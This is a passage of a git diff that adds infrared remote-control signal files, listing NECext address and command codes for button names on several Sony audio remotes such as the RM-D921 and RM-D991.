+Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: >25 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0B 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0D 00 00 00 +# +name: UNK4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0F 00 00 00 +# +name: UNK6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 15 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 16 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 18 00 00 00 +# +name: SCROLL +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 19 00 00 00 +# +name: NONAME2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1A 00 00 00 +# +name: NONAME1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1D 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1E 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 21 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 26 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 28 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 28 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 29 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2B 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: T.REC +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: AUTO_SPACE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: MUSIC_SCAN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: WRITE_CHAR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: WRITE_NUM +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: WRITE_NAME +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3D 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3E 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3E 00 00 00 +# +name: MUSIC_SYNC +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: EXTRA +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 40 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 41 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 42 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 43 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 44 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 45 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 46 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 47 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 49 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 4A 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 4B 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 4C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 4D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 4E 00 00 00 +# +name: FADE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 5F 00 00 00 +# +name: JOG+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 60 00 00 00 +# +name: JOG- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 61 00 00 00 +# +name: JOG++ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 62 00 00 00 +# +name: UNK2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 62 00 00 00 +# +name: UNK5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 63 00 00 00 +# +name: JOG+++ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 64 00 00 00 +# +name: UNK1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 64 00 00 00 +# +name: UNK3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 65 00 00 00 +# +name: MEMO_INPUT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 69 00 00 00 +# +name: MEMO_SCAN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 6B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir new file mode 100644 index 000000000..a4cfdf4c9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: check +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: continue +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: |>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 +# +name: fader +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir new file mode 100644 index 000000000..2fd8cd353 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: pgm +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: ams- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: ams+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: fader +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir new file mode 100644 index 000000000..38097cc05 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 17 00 00 00 +# +name: C.INDEX +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 18 00 00 00 +# +name: FILE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 19 00 00 00 +# +name: FILE_RECALL +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1A 00 00 00 +# +name: ERASE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1B 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: >20 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: INDEX- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 36 00 00 00 +# +name: INDEX+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 37 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: SLOWREW +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: SLOWFF +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3B 00 00 00 +# +name: MUSIC_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3C 00 00 00 +# +name: A.SPACE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4E 00 00 00 +# +name: PEAK_SEARCH +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4F 00 00 00 +# +name: DISPLAY_MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 +# +name: LEVEL_FILE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 68 00 00 00 +# +name: MEMO_INPUT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 69 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir new file mode 100644 index 000000000..128549c0e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: +_LINE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: -_LINE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 17 00 00 00 +# +name: C.INDEX +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 18 00 00 00 +# +name: FILE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 19 00 00 00 +# +name: FILE_RECALL +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1A 00 00 00 +# +name: ERASE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1B 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: >20 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: INDEX- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 36 00 00 00 +# +name: INDEX+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 37 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: SLOWREW +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: SLOWFF +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3B 00 00 00 +# +name: M.SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3C 00 00 00 +# +name: A.SPACE/A.CUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4E 00 00 00 +# +name: DISPLAY_MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 +# +name: LEVEL_FILE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 68 00 00 00 +# +name: MEMO_INPUT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 69 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir new file mode 100644 index 000000000..16976404e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir new file mode 100644 index 000000000..b94029e4c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: Check +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: Continue +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: Program +type: parsed +protocol: NECext 